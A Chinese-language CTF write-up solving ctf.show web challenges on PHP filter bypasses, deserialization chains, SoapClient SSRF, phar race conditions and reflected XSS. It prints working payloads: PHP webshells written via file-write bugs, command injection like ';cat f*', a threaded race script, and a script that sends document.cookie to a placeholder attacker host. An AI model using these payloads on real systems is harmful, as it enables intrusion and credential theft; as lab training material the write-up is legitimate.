    if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $num)){
        return false;
    }else{
        return true;
    }
}
for($i = 0; $i<129; $i++){
    $num=chr($i);
    if(waf($num)){
        echo "未编码:".$num."   经过编码:".urlencode(chr($i))."\n";
    }
}
?>
import requests

url = "http://604cc8ff-a489-4355-8f31-c0ee5b3e3a15.challenge.ctf.show/"
for i in range(0,129):
    i=chr(i)
    params = {"ctf"+i+"show": "ilove36d"}    
    response = requests.get(url, params=params)
    # print (response.url)
    if "ctfshow{" in response.text:
        print(response.text)

跑出来是空格能行,他会被替换成下划线
?ctf%20show=ilove36d

web128

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-10 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-12 19:49:05

*/


error_reporting(0);
include("flag.php");
highlight_file(__FILE__);

$f1 = $_GET['f1'];
$f2 = $_GET['f2'];

if(check($f1)){
    var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
    echo "嗯哼?";
}



function check($str){
    return !preg_match('/[0-9]|[a-z]/i', $str);
} 

入手点是在这一句话var_dump(call_user_func(call_user_func($f1,$f2)));,看的出来是要call_user_func来命令执行
但是v1把字母数字都过滤了,当然可以想到是无字母数字rce,但是吧这道题考的不是这个
他考的是gettext()的拓展函数_()
这俩都是可以返回括号里的字符串的,例如

<?php
  eval(_("echo '000';"));
echo _("111");
echo gettext("222")
?>

//000111222

所以这刚好就符合两个嵌套的call_user_func函数的利用,再加上get_defined_vars()函数返回由所有已定义变量所组成的数组
payload?f1=_&f2=get_defined_vars

var_dump(call_user_func(call_user_func($f1,$f2))); => var_dump(call_user_func(call_user_func(_,’get_defined_vars’))); => var_dump(call_user_func(get_defined_vars));

web129

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-13 03:18:40

*/


error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
    $f = $_GET['f'];
    if(stripos($f, 'ctfshow')>0){
        echo readfile($f);
    }
}

首先需要看一下stripos()的意思
image.png
所以这道题目就是要让ctfshow这个字符串在f里出现并且还要readfile读出flag文件
有这么几种办法,前面三种都是Linux读文件的应用,后面就是php://filter伪协议管道符的应用了

?f=./ctfshow../flag.php
?f=/var/www/html/ctfshow/../flag.php
?f=/ctfshow/../../../../../../../var/www/html/flag.php
?f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php

web130

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-13 05:19:40

*/


error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
    $f = $_POST['f'];

    if(preg_match('/.+?ctfshow/is', $f)){
        die('bye!');
    }
    if(stripos($f, 'ctfshow') === FALSE){
        die('bye!!');
    }

    echo $flag;

} 

这个要preg_match不能匹配到ctfshow又要stripos匹配到ctfshow
也是有下面几种方法

f=ctfshow[]  //preg_match无法处理数组,返回false,stripos识别到了
?f[]=xxx  //两个都绕过了

当然还有一种比较高级的,可以先参考https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html
因为preg_match有三种返回值,0、1、false,其中false是因为运行出错导致的,比如上面的数组,然后回溯太多也会出现,最终让false===0,绕过if
脚本如下

import requests

url = "http://2d8f5de1-5924-4f0c-ae64-cd2b2c201d0e.challenge.ctf.show/"
data={
    "f":"a"*1000000+"ctfshow"
}
r=requests.post(url,data=data)
if "ctfshow{" in r.text:
    print(r.text)

web131

<?php

  /*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-13 05:19:40

*/


  error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
  $f = (String)$_POST['f'];

  if(preg_match('/.+?ctfshow/is', $f)){
    die('bye!');
  }
  if(stripos($f,'36Dctfshow') === FALSE){
    die('bye!!');
  }

  echo $flag;

}

用上面的回溯方法即可

import requests

url = "http://e81df6cb-55e8-456b-b582-d6ab17373960.challenge.ctf.show/"
data={
    "f":"a"*1000000+"36Dctfshow"
}
r=requests.post(url,data=data)
if "ctfshow{" in r.text:
    print(r.text)

web132

一个网站,表面看不出有啥东西
image.png
直接dirsearch -u http://9478b4a0-9c36-47e9-b6dc-53a6988741a5.challenge.ctf.show/ -i 200开扫
image.png
/admin/index.php里看到源码

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 06:22:13
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-13 20:05:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

#error_reporting(0);
include("flag.php");
highlight_file(__FILE__);


if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
    $username = (String)$_GET['username'];
    $password = (String)$_GET['password'];
    $code = (String)$_GET['code'];

    if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
        
        if($code == 'admin'){
            echo $flag;
        }
        
    }
}

主要是考 || 的应用,首先 && 是前后都是要真才是真,|| 则只需要一个为真即可
所以$code === mt_rand(1,0x36D) && $password === $flag啥的都不用管,只需要$username ==="admin"即可
payload?username=admin&code=admin&password=1

web133

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-13 16:43:44

*/

error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
    if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
        eval(substr($F,0,6));
    }else{
        die("6个字母都还不够呀?!");
    }
}

限制长度的命令执行?好像不是,他只是截断了前面六位

反序列化

web254

源码如下

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        if($this->username===$u&&$this->password===$p){
            $this->isVip=true;
        }
        return $this->isVip;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = new ctfShowUser();
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}




your flag is ctfshow{9e45eb87-a32c-4208-b415-670cf633244c}

public function login($u,$p){
if($this->username===$u&&$this->password===$p){
$this->isVip=true;
}
return $this->isVip;
}

在这段可以看出只需要传入 username=xxxxxx&password=xxxxxx

web255

源码如下

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);     
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

这段代码和上面的有一个不一样

public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}

这就说明不能通过上面那种传username和password的形式传数据了,取而代之的有一个$user = unserialize($_COOKIE['user']); 这样就可以反序列化cookie里的user然后让isVip为true

生成序列化的代码如下

<?php
class ctfShowUser{
    public $isVip=true;
}

$pop = new ctfShowUser();
echo urlencode(serialize($pop));

web256

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password){
                    echo "your flag is ".$flag;
              }
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

这题的

if($this->username!==$this->password){
echo “your flag is “.$flag;
}

public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}

说明了我们需要反序列化一个username和password,两者是不一样的,然后get传过去的是要和你上面反序列化的这俩是一样的,所以我们可以让username=xxxxx,password=xxxxxx

序列化代码如下

<?php
class ctfShowUser{
    public $username='xxxxx';
    public $password='xxxxxx';
    public $isVip=true;
}

$pop = new ctfShowUser();
echo urlencode(serialize($pop));

web257

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 20:33:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}

这题就比较复杂了
首先在

public function __destruct(){
        $this->class->getInfo();
    }


class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}

这两段代码里可以知道从destruct里面可以进backdoor的eval函数从而进行代码执行

然后因为序列化和反序列化是相反的过程,所以可以在构造序列化的时候的construct里添加一个new backdoor然后在里面放恶意代码,这样子在反序列化的destruct里就会进getinfo函数然后执行命令

<?php
class backDoor{
    private $code="system('cat f*');";
}
class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $class = 'info';

    public function __construct(){
        $this->class=new backDoor();
    }

}
$pop = new ctfShowUser();
echo urlencode(serialize($pop));

web258

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 21:38:56
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    public $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    public $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
        $user = unserialize($_COOKIE['user']);
    }
    $user->login($username,$password);
}

这题和上一题差不多,但是过滤了O:数字,在数字前面加一个“+”绕过就可以了,然后这个的类型从private变成了public,也要记得改一下

<?php
class backDoor{
    public $code="system('cat f*');";
}
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $class = 'info';

    public function __construct(){
        $this->class=new backDoor();
    }

}
$pop = new ctfShowUser();
$pop=serialize($pop);

$pop = str_replace('O:','O:+',$pop);

echo urlencode($pop);

web259

image.png

这是题目里的代码和报错,乍看可能摸不着头脑,但是可以看题目简介

image.png

可以看出我们需要传一个序列化的vip参数然后伪造ip是127.0.0.1,但是我们不能直接改请求头,只能通过反序列化修改。然后我们还要传一个token=ctfshow,最后才能在flag.txt读取flag。

这下我们需要用php内置的反序列化,可以参考https://xz.aliyun.com/t/9293,在这里面的SoapClient 类进行 ssrf就很符合题目的要求,于是我们可以用这种方法去伪造让服务器认为我们是发了一个http请求,然后做出相应的响应。当然在上面的文章中也提到了我们还需要借助CRLF漏洞,使用\r\n来注入cookie

image.png

可以借鉴这个写payload

<?php
$target = 'http://192.168.6.161:2333';
$post_data = 'token=ctfshow';
$headers = array(
    'X-Forwarded-For: 127.0.0.1,127.0.0.1',
);

$user_agent = "Chrome\r\nContent-Type: application/x-www-form-urlencoded\r\n".join("\r\n",$headers)."\r\nContent-Length: ".strlen($post_data)."\r\n\r\n".$post_data;

$o = new SoapClient(null,array('location' => $target,'user_agent'=>$user_agent,'uri'=>'test'));
$o=serialize($o);
echo urlencode($o);
$a=unserialize($o);
$a->ppp();
?>

用这个在本地运行
image.png
可以看出成功的插入了

接着稍作修改,将序列化代码用url编码,传入题目,访问flag.txt即可

<?php
$target = 'http://127.0.0.1/flag.php';
$post_data = 'token=ctfshow';
$headers = array(
    'X-Forwarded-For: 127.0.0.1,127.0.0.1',
);

$user_agent = "Chrome\r\nContent-Type: application/x-www-form-urlencoded\r\n".join("\r\n",$headers)."\r\nContent-Length: ".strlen($post_data)."\r\n\r\n".$post_data;

$o = new SoapClient(null,array('location' => $target,'user_agent'=>$user_agent,'uri'=>'test'));
echo urlencode(serialize($o));
?>

web260

<?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
    echo $flag;
}

这个有点莫名其妙,构造一个类里面有ctfshow_i_love_36D就可以了,但是其实可以直接传?ctfshow=ctfshow_i_love_36D

<?php
class ctfshow{
    public $a='ctfshow_i_love_36D';
}

$a=new ctfshow();
echo urlencode(serialize($a));

web261

<?php

highlight_file(__FILE__);

class ctfshowvip{
    public $username;
    public $password;
    public $code;

    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function __wakeup(){
        if($this->username!='' || $this->password!=''){
            die('error');
        }
    }
    public function __invoke(){
        eval($this->code);
    }

    public function __sleep(){
        $this->username='';
        $this->password='';
    }
    public function __unserialize($data){
        $this->username=$data['username'];
        $this->password=$data['password'];
        $this->code = $this->username.$this->password;
    }
    public function __destruct(){
        if($this->code==0x36d){
            file_put_contents($this->username, $this->password);
        }
    }
}

unserialize($_GET['vip']); 

这段代码看似有很多魔术方法,但是用得上的就只有两个,__unserialize和__destruct。由于php的特性,__unserialize和__wakeup在一起的时候只会调用前者,而且__invoke也不好怎么调用,所以我们只能运用__unserialize函数去把数组传上去,然后在最后的__destruct函数运行的时候进行任意文件写,把木马写进去

实现的payload如下(其实不用__serialize传数组也行),可以直接声明变量

<?php

class ctfshowvip
{
    public function __serialize(){
        $this->username='877.php';
        $this->password='<?php eval($_REQUEST[cmd]);?>';
        return array('username'=>$this->username,'password'=>$this->password);
    }
}

$obj = new ctfshowvip();
echo urlencode(serialize($obj));

最后访问877.php进行命令执行就可以了

web262

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 02:37:19
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0);
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    setcookie('msg',base64_encode($umsg));
    echo 'Your message has been sent';
}

highlight_file(__FILE__);

一开始的源码是这样,但是看不出来什么,发现上面有一个注释是# @message.php,于是访问

得到下面的新代码

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 15:13:03
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 15:17:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
highlight_file(__FILE__);
include('flag.php');

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_COOKIE['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}

可以看出只需要传一个token=admin的序列化并且b64编码就可以了

<?php

class message{   
    public $token='admin';
}

$obj = new message();
echo base64_encode(serialize($obj));

web263

image.png
开局是一个登陆界面,www.zip得源码

发现下面的漏洞点

error_reporting(0);
session_start();
    //超过5次禁止登陆
    if(isset($_SESSION['limit'])){
        $_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
        $_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
    }else{
         setcookie("limit",base64_encode('1'));
         $_SESSION['limit']= 1;
    }
    
?>
error_reporting(0);
require_once 'inc/inc.php';
$GET = array("u"=>$_GET['u'],"pass"=>$_GET['pass']);



else{
        //登陆失败累计次数加1
        $_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit'])+1);
        echo json_encode(array("error","msg"=>"登陆失败"));
    }
error_reporting(0);
ini_set('display_errors', 0);
ini_set('session.serialize_handler', 'php');



function __destruct(){
        file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
    }

可以知道在inc.php里面有一个任意文件写漏洞可以传马,然后check.php里的limit可以session反序列化,然后session可以在index.php里面获取,但是要怎么进去?可以用inc.php的session.serialize_handler,然后check.php也有引用inc.php

对于payload的构造就是直接__construct传马就可以了,然后需要b64编码,因为check.php那里会解码再编码,还有一些构造的细节可以参考X1r0z大佬的博客

image.png

构造的payload如下

<?php

class User{
    public $username;
    public $password;
    function __construct(){
        $this->username = '1.php';
        $this->password = '<?php eval($_REQUEST[1]);?>';
    }
}

echo urlencode(base64_encode('|'.serialize(new User())));

?>

先访问index.php获取session复制过去请求头
image.png

然后访问check.php并且把limit加上去
image.png

最后访问log-1.php命令执行即可
image.png

web264

源码和262一样,但是不能用那种非预期解,要用字符逃逸,可以参考https://xz.aliyun.com/t/9213

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 02:37:19
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0);
session_start();

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    $_SESSION['msg']=base64_encode($umsg);
    echo 'Your message has been sent';
}

highlight_file(__FILE__);
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 15:13:03
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 15:17:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
session_start();
highlight_file(__FILE__);
include('flag.php');

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_SESSION['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}

$umsg = str_replace('fuck', 'loveU', serialize($msg));
从这一段可以看出替换之后多了一个字符,然后因为要把user改成admin所以可以直接在序列化中构造

<?php

class message{
    public $from;
    public $msg;
    public $to;
    public $token='admin';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$a=new message('admin','admin','admin');
echo serialize($a)."\n";
//O:7:"message":4:{s:4:"from";s:5:"admin";s:3:"msg";s:5:"admin";s:2:"to";s:5:"admin";s:5:"token";s:5:"admin";}

echo strlen('";s:5:"token";s:5:"admin";}')."\n";
//27

echo str_repeat('fuck',strlen('";s:5:"token";s:5:"admin";}'));

只需要get传to变量就可以了,因为传的是";s:5:"token";s:5:"admin";}这句,一共27个字符,所以需要27个”fuck”来替换。再加上url编码,最后的payload是
fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck%22%3Bs%3A5%3A%22token%22%3Bs%3A5%3A%22admin%22%3B%7D

最后不要忘了cookie里的PHPSESSID和msg
image.png

web265

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-04 23:52:24
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-05 00:17:08
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
    public $token;
    public $password;

    public function __construct($t,$p){
        $this->token=$t;
        $this->password = $p;
    }
    public function login(){
        return $this->token===$this->password;
    }
}

$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());

if($ctfshow->login()){
    echo $flag;
}

这题有个md5随机数,我们能因此想到一些解法,这个是用引用的方法,直接传序列化的对象让token=password,过程大概就是先是反序列化让$this->password = &$this->token;这样不管token的值怎么变,都会通过引用传到password,二者不分你我(bushi)

<?php
class ctfshowAdmin{
    public $token;
    public $password;

    public function __construct(){
        $this->password = &$this->token;
    }
}

$a=new ctfshowAdmin();
echo urlencode(serialize($a));

web266

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-04 23:52:24
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-05 00:17:08
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

highlight_file(__FILE__);

include('flag.php');
$cs = file_get_contents('php://input');


class ctfshow{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function login(){
        return $this->username===$this->password;
    }
    public function __toString(){
        return $this->username;
    }
    public function __destruct(){
        global $flag;
        echo $flag;
    }
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
    throw new Exception("Error $ctfshowo",1);
}

这个是直接绕过去if(preg_match('/ctfshow/', $cs))这句话就可以了,因为他没有加/i,所以不区分大小写。然后因为php有这些特性

  1. 变量名区分大小写
  2. 常量名区分大小写
  3. 数组索引 (键名) 区分大小写
  4. 函数名, 方法名, 类名不区分大小写
  5. 魔术常量不区分大小写 (以双下划线开头和结尾的常量)
  6. NULL TRUE FALSE 不区分大小写
  7. 强制类型转换不区分大小写 (在变量前面加上 (type))

所以可以用大写的CTFSHOW类来做

<?php
class ctfShow{

}

$a=new ctfShow();
echo serialize($a);

最后把序列化的数据随便用一种方法传上去就好了,我用的是data,直接传值就可以了
image.png

web267

一打开来是一个ctf社区的界面
image.png
在这里可以看出来是yii框架
image.png
yii.js可以看到他的版本
image.png

于是就可以搜索了:yii 2.0漏洞

可以参考一下这个大佬的漏洞利用https://www.cnblogs.com/thresh/p/13743081.html

web275

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-08 19:13:36
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-08 20:08:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


highlight_file(__FILE__);

class filter{
    public $filename;
    public $filecontent;
    public $evilfile=false;

    public function __construct($f,$fn){
        $this->filename=$f;
        $this->filecontent=$fn;
    }
    public function checkevil(){
        if(preg_match('/php|\.\./i', $this->filename)){
            $this->evilfile=true;
        }
        if(preg_match('/flag/i', $this->filecontent)){
            $this->evilfile=true;
        }
        return $this->evilfile;
    }
    public function __destruct(){
        if($this->evilfile){
            system('rm '.$this->filename);
        }
    }
}

if(isset($_GET['fn'])){
    $content = file_get_contents('php://input');
    $f = new filter($_GET['fn'],$content);
    if($f->checkevil()===false){
        file_put_contents($_GET['fn'], $content);
        copy($_GET['fn'],md5(mt_rand()).'.txt');
        unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
        echo 'work done';
    }
    
}else{
    echo 'where is flag?';
}

这题看着好复杂啊,我们来解释一下是啥意思
$content = file_get_contents('php://input');:用php://input伪协议读取post里面的数据,是全部读取,例如传一个a=1则content=”a=1”
$f = new filter($_GET['fn'],$content);:把传的fn和上面的content放进filter类的构造函数里,没啥好说的

这题我们其实只需要一个变量拼接就好了首先对于fn传的量,在__destruct里有system('rm '.$this->filename);,我们就就可以传fn为;cat f*,用分号来把rm给分行了,后面就执行读取flag
但是光这样还是不行,因为如果if($f->checkevil()===false)成功执行的话是不会出发析构函数的,所以我们需要让checkevil为true,需要在post里传flag=1,让他匹配到

image.png

web276

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-08 19:13:36
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-08 20:08:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


highlight_file(__FILE__);

class filter{
    public $filename;
    public $filecontent;
    public $evilfile=false;
    public $admin = false;

    public function __construct($f,$fn){
        $this->filename=$f;
        $this->filecontent=$fn;
    }
    public function checkevil(){
        if(preg_match('/php|\.\./i', $this->filename)){
            $this->evilfile=true;
        }
        if(preg_match('/flag/i', $this->filecontent)){
            $this->evilfile=true;
        }
        return $this->evilfile;
    }
    public function __destruct(){
        if($this->evilfile && $this->admin){
            system('rm '.$this->filename);
        }
    }
}

if(isset($_GET['fn'])){
    $content = file_get_contents('php://input');
    $f = new filter($_GET['fn'],$content);
    if($f->checkevil()===false){
        file_put_contents($_GET['fn'], $content);
        copy($_GET['fn'],md5(mt_rand()).'.txt');
        unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
        echo 'work done';
    }
    
}else{
    echo 'where is flag?';
}

这题是上一题的升级版,在__destruct()里多了一个$this->admin的判断,这下是真要反序列化了

但是这里没有反序列化函数,但是看到了有file_put_contents($_GET['fn'], $content);这个可以get传fn自定义成phar://,所以可以想到用phar反序列化,这相当于一个php的压缩包,里面的manifest是可以存放用户自定义的metadata的,所以可以进行反序列化

这里借用一下大佬的代码,先生成反序列化函数
注意生成这个需要在当前的php.ini中把phar.readonly改为Off,然后前面如果有分号注释的话要删掉

<?php
class filter{
    public $filename = '1;cat f*';
    public $filecontent = '';
    public $evilfile = true;
    public $admin = true;
}

$phar = new Phar('phar.phar');//新建一个空的phar
$phar->startBuffering();//开始填入
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");//添加头,GIF89a表示这是gif来绕过,<?php __HALT_COMPILER(); ?>说明这是phar让php认出来
$o = new filter();//new一个对象,注意不用序列化
$phar->setMetadata($o);//把对象丢进data
$phar->addFromString('test.txt', 'test');//添加正文内容,可以自定义phar压缩包里面的文件和文件内容
$phar->stopBuffering();//停止填入

然后就可以直接url后面带?fn=phar.phar然后把上面生成的phar.phar的内容post传上去
最后再传?fn=phar://phar.phar进行解压phar触发反序列化

但是因为有

if($f->checkevil()===false){
file_put_contents($_GET[‘fn’], $content);
copy($_GET[‘fn’],md5(mt_rand()).’.txt’);
unlink($_SERVER[‘DOCUMENT_ROOT’].’/‘.$_GET[‘fn’]);
echo ‘work done’;
}

这段代码在,每次传上去的文件一下子就会被删掉,md5随机产生的文件名也不能猜出来,所以就只能条件竞争

这是python脚本,使用threading.Thread()进行条件竞争

import io
import requests
import threading

url = 'http://9acdfd28-304e-4c80-862d-04fdad2a8894.challenge.ctf.show/'
data = open('phar.phar', 'rb').read()
flag = True

pre = requests.get(url)
if pre.status_code != 200:
    print('url error!')
    exit(1)

def write(): # 写入phar.phar
    requests.post(url+'?fn=phar.phar', data=data)
    print('write')

def unserialize(): # 触发反序列化
    global flag
    r = requests.get(url+'?fn=phar://phar.phar')
    if 'ctfshow{' in r.text and flag:
        print(r.text)
        flag = False
    print('unserialize')

while flag: # 线程条件竞争,直到读到flag
    threading.Thread(target = write).start()
    threading.Thread(target = unserialize).start()

反序列化的具体知识可以看看这个大佬写的文章https://www.ctfiot.com/56327.html

XSS注入

web316

正常的反射性xss
image.png
payload如下

<script>document.location.href='http://xxxxxx:2224/xss.php?c='+document.cookie</script>

然后需要在服务器这边对应的地方建立一个xss.phpcookie.txt

<?php
  $cookie = $_GET['c'];
$log = fopen("cookie.txt", "a");
